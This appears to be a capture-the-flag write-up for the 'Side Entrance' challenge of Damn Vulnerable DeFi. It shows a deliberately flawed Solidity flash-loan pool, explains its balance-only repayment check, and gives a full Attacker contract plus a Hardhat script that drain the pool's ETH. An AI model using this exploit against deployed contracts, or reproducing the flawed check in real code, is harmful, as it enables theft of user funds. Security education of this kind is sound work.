Skip to content

Side Entrance

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "solady/src/utils/SafeTransferLib.sol";

interface IFlashLoanEtherReceiver {
    function execute() external payable;
}

/**
 * @title SideEntranceLenderPool
 * @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
 */
contract SideEntranceLenderPool {
    mapping(address => uint256) private balances;

    error RepayFailed();

    event Deposit(address indexed who, uint256 amount);
    event Withdraw(address indexed who, uint256 amount);

    function deposit() external payable {
        unchecked {
            balances[msg.sender] += msg.value;
        }
        emit Deposit(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];

        delete balances[msg.sender];
        emit Withdraw(msg.sender, amount);

        SafeTransferLib.safeTransferETH(msg.sender, amount);
    }

    function flashLoan(uint256 amount) external {
        uint256 balanceBefore = address(this).balance;

        IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();

        if (address(this).balance < balanceBefore)
            revert RepayFailed();
    }
}

Goal

Take all ETH from the SideEntranceLenderPool contract

Exploit

In order to finish this CTF we will have to use another smart contract. We can name this contract Attacker.

The vulnerable part of the contract is in the following check:

if (address(this).balance < balanceBefore)
            revert RepayFailed();

The code is checking if the balance in the lending pool is the same as before taking the flash loan, but does not check who this balance belongs to.

In our Attacker contract we can call the flashLoan() function, and on the execute() callback function we can deposit the funds back to the SideEntranceLenderPool, only this time the funds will belong to the Attacker contract.

To exploit the contract we need to:

  1. create Attacker contract, this contract will be inheriting IFlashLoanEtherReceiver interface and must have execute() function implemented, we need to create instance from the SideEntranceLenderPool contract inside Attacker
  2. create makeFlashLoan() external function, inside this funciton we will call flashLoan() from the pool contract
  3. create execute() function, this will be callback function that must be implemented, since the Attacker contract is inheriting the IFlashLoanEtherReceiver interface

    • inside this function we will call the deposit() function from the pool contract

  4. create withdraw() external function, inside it we will:

    • call the withdraw() function from the pool contract
    • transfer the funds to our account

Attacker contract code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { SideEntranceLenderPool } from "./SideEntranceLenderPool.sol";
import { IFlashLoanEtherReceiver } from "./SideEntranceLenderPool.sol";

contract Attacker is IFlashLoanEtherReceiver {
    event Log(string func, uint gas);

    SideEntranceLenderPool private immutable pool;

    constructor(SideEntranceLenderPool _pool) {
        pool = SideEntranceLenderPool(_pool);
    }

    function execute() external payable override {
        pool.deposit{value: msg.value}();
    }

    function withdraw() external {
        pool.withdraw();
        payable(msg.sender).transfer(address(this).balance);
    }

    function makeFlashLoan() external {
        pool.flashLoan(address(pool).balance);
    }

    fallback() external payable {
        // send / transfer (forwards 2300 gas to this fallback function)
        // call (forwards all of the gas)
        emit Log("fallback", gasleft());
    }

    receive() external payable {
        emit Log("receive", gasleft());
    }
}

Solution code

const { ethers } = require('hardhat');
const { expect } = require('chai');
const { setBalance } = require('@nomicfoundation/hardhat-network-helpers');

describe('[Challenge] Side entrance', function () {
    let deployer, player;
    let pool;

    const ETHER_IN_POOL = 1000n * 10n ** 18n;
    const PLAYER_INITIAL_ETH_BALANCE = 1n * 10n ** 18n;

    before(async function () {
        /** SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
        [deployer, player] = await ethers.getSigners();

        // Deploy pool and fund it
        pool = await (await ethers.getContractFactory('SideEntranceLenderPool', deployer)).deploy();
        await pool.deposit({ value: ETHER_IN_POOL });
        expect(await ethers.provider.getBalance(pool.address)).to.equal(ETHER_IN_POOL);

        // Player starts with limited ETH in balance
        await setBalance(player.address, PLAYER_INITIAL_ETH_BALANCE);
        expect(await ethers.provider.getBalance(player.address)).to.eq(PLAYER_INITIAL_ETH_BALANCE);

    });

    it('Execution', async function () {
        /** CODE YOUR SOLUTION HERE */
        attacker = await (await ethers.getContractFactory('Attacker', player)).deploy(pool.address);

        await attacker.connect(player).makeFlashLoan();

        await attacker.connect(player).withdraw();
    });

    after(async function () {
        /** SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */

        // Player took all ETH from the pool
        expect(await ethers.provider.getBalance(pool.address)).to.be.equal(0);
        expect(await ethers.provider.getBalance(player.address)).to.be.gt(ETHER_IN_POOL);
    });
});